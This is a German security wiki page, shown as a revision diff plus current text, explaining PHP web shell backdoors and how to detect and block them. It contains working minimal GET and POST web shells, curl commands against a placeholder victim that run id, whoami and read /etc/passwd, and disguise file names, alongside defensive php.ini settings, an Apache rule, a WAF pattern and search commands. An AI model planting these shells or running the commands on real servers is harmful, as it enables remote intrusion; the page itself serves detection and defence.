Php Malicious: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Der Seiteninhalt wurde durch einen anderen Text ersetzt: „ == Web Shell Backdoors == === Beschreibung === Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem A…“) Markierung: Ersetzt |
|||
| Zeile 1: | Zeile 1: | ||
| − | |||
| − | + | == Web Shell Backdoors == | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | + | === Beschreibung === | |
| − | + | Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer | |
| + | eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht – erreichbar über einen | ||
| + | normalen HTTP-Request, ohne SSH- oder FTP-Zugang. | ||
=== Was der Angreifer will === | === Was der Angreifer will === | ||
Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt. | Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt. | ||
| − | |||
| − | |||
| − | |||
| − | ==== Minimale Web Shell (GET | + | === Typisches Angriffsmuster === |
| + | |||
| + | ==== Minimale Web Shell (GET) ==== | ||
<syntaxhighlight lang="php"> | <syntaxhighlight lang="php"> | ||
<?php | <?php | ||
| − | |||
| − | |||
| − | |||
| − | |||
if (isset($_GET['cmd'])) { | if (isset($_GET['cmd'])) { | ||
system($_GET['cmd']); | system($_GET['cmd']); | ||
| Zeile 31: | Zeile 23: | ||
?> | ?> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| + | |||
| + | Aufruf durch den Angreifer: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| − | |||
curl "http://opfer.example.com/uploads/header.php?cmd=id" | curl "http://opfer.example.com/uploads/header.php?cmd=id" | ||
| − | # | + | # uid=33(www-data) gid=33(www-data) groups=33(www-data) |
curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd" | curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd" | ||
| − | |||
| − | |||
| − | |||
| − | |||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | ==== Erweiterte Shell über POST | + | ==== Erweiterte Shell über POST ==== |
| − | + | POST-Parameter sind im Access-Log schwerer zu erkennen als GET-Parameter: | |
| − | |||
<syntaxhighlight lang="php"> | <syntaxhighlight lang="php"> | ||
<?php | <?php | ||
| − | |||
if (isset($_POST['x'])) { | if (isset($_POST['x'])) { | ||
$output = shell_exec($_POST['x'] . ' 2>&1'); | $output = shell_exec($_POST['x'] . ' 2>&1'); | ||
| − | echo '<pre>' . | + | echo '<pre>' . $output . '</pre>'; |
} | } | ||
?> | ?> | ||
| Zeile 63: | Zeile 50: | ||
-d 'x=whoami' | -d 'x=whoami' | ||
# www-data | # www-data | ||
| + | </syntaxhighlight> | ||
| − | + | ==== Typische Tarnnamen ==== | |
| − | |||
| − | |||
| − | + | Angreifer benennen Web Shells gezielt unauffällig: | |
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
/uploads/img001.php | /uploads/img001.php | ||
| − | |||
/images/header.php | /images/header.php | ||
/cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a | /cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a | ||
/wp-includes/class-wp-image.php | /wp-includes/class-wp-image.php | ||
| − | |||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Red Flags === | === Red Flags === | ||
| − | * <code>system()</code>, <code>exec()</code>, <code>shell_exec()</code>, <code>passthru | + | * <code>system()</code>, <code>exec()</code>, <code>shell_exec()</code>, <code>passthru()</code> |
| − | * Direkter Zugriff auf <code>$_GET</code>, <code>$_POST</code> | + | * Direkter Zugriff auf <code>$_GET</code>, <code>$_POST</code> oder <code>$_REQUEST</code> ohne Validierung |
| − | * Keine Authentifizierung | + | * Keine Authentifizierung |
* PHP-Dateien in <code>/uploads/</code>, <code>/images/</code>, <code>/cache/</code> | * PHP-Dateien in <code>/uploads/</code>, <code>/images/</code>, <code>/cache/</code> | ||
| − | |||
=== Gegenmaßnahmen === | === Gegenmaßnahmen === | ||
| − | ==== | + | ==== Gefährliche Funktionen in php.ini deaktivieren ==== |
| − | <syntaxhighlight lang=" | + | <syntaxhighlight lang="ini"> |
| − | + | ; /etc/php/8.2/apache2/php.ini | |
| − | // | + | disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | = | + | <syntaxhighlight lang="bash"> |
| + | systemctl restart apache2 | ||
| − | + | # Test: | |
| − | + | php -r "system('id');" | |
| − | + | # PHP Warning: system() has been disabled for security reasons | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | ==== PHP-Ausführung in Upload-Verzeichnissen | + | ==== PHP-Ausführung in Upload-Verzeichnissen unterbinden ==== |
<syntaxhighlight lang="apache"> | <syntaxhighlight lang="apache"> | ||
| Zeile 141: | Zeile 95: | ||
Require all denied | Require all denied | ||
</FilesMatch> | </FilesMatch> | ||
| − | |||
| − | |||
</Directory> | </Directory> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| Zeile 149: | Zeile 101: | ||
a2enconf no-php-uploads | a2enconf no-php-uploads | ||
systemctl reload apache2 | systemctl reload apache2 | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
</syntaxhighlight> | </syntaxhighlight> | ||
| Zeile 169: | Zeile 106: | ||
<syntaxhighlight lang="apache"> | <syntaxhighlight lang="apache"> | ||
| − | + | SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell)$" \ | |
| − | SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell | + | "id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'" |
| − | "id:1001,phase:2,deny,status:403 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | ==== Web Shells | + | ==== Nach Web Shells suchen ==== |
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| − | # PHP-Dateien mit Shell-Funktionen | + | # PHP-Dateien mit Shell-Funktionen im Webroot |
grep -rn --include="*.php" \ | grep -rn --include="*.php" \ | ||
-e "system\s*(" \ | -e "system\s*(" \ | ||
| Zeile 188: | Zeile 124: | ||
find /var/www/html/uploads -name "*.php" -type f | find /var/www/html/uploads -name "*.php" -type f | ||
| − | + | # Kürzlich geänderte PHP-Dateien | |
| − | + | find /var/www/html -name "*.php" -mtime -7 | |
| − | |||
| − | # Kürzlich geänderte PHP-Dateien | ||
| − | find /var/www/html -name "*.php" -mtime -7 | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | # | + | # Requests auf Upload-Verzeichnisse im Access-Log |
| − | grep | + | grep "uploads/.*\.php" /var/log/apache2/access.log |
</syntaxhighlight> | </syntaxhighlight> | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
[[Kategorie:Web Security]] | [[Kategorie:Web Security]] | ||
[[Kategorie:PHP]] | [[Kategorie:PHP]] | ||
[[Kategorie:Malware]] | [[Kategorie:Malware]] | ||
| − | |||
Version vom 31. Mai 2026, 17:35 Uhr
Web Shell Backdoors
Beschreibung
Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht – erreichbar über einen normalen HTTP-Request, ohne SSH- oder FTP-Zugang.
Was der Angreifer will
Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt.
Typisches Angriffsmuster
Minimale Web Shell (GET)
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Aufruf durch den Angreifer:
curl "http://opfer.example.com/uploads/header.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"
Erweiterte Shell über POST
POST-Parameter sind im Access-Log schwerer zu erkennen als GET-Parameter:
<?php
if (isset($_POST['x'])) {
$output = shell_exec($_POST['x'] . ' 2>&1');
echo '<pre>' . $output . '</pre>';
}
?>
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
-d 'x=whoami'
# www-data
Typische Tarnnamen
Angreifer benennen Web Shells gezielt unauffällig:
/uploads/img001.php
/images/header.php
/cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a
/wp-includes/class-wp-image.php
Red Flags
system(),exec(),shell_exec(),passthru()- Direkter Zugriff auf
$_GET,$_POSToder$_REQUESTohne Validierung - Keine Authentifizierung
- PHP-Dateien in
/uploads/,/images/,/cache/
Gegenmaßnahmen
Gefährliche Funktionen in php.ini deaktivieren
; /etc/php/8.2/apache2/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
systemctl restart apache2
# Test:
php -r "system('id');"
# PHP Warning: system() has been disabled for security reasons
PHP-Ausführung in Upload-Verzeichnissen unterbinden
# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
</Directory>
a2enconf no-php-uploads
systemctl reload apache2
WAF-Regel (Coraza / ModSecurity)
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell)$" \
"id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'"
Nach Web Shells suchen
# PHP-Dateien mit Shell-Funktionen im Webroot
grep -rn --include="*.php" \
-e "system\s*(" \
-e "shell_exec\s*(" \
-e "passthru\s*(" \
-e "exec\s*(" \
/var/www/html/
# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein
find /var/www/html/uploads -name "*.php" -type f
# Kürzlich geänderte PHP-Dateien
find /var/www/html -name "*.php" -mtime -7
# Requests auf Upload-Verzeichnisse im Access-Log
grep "uploads/.*\.php" /var/log/apache2/access.log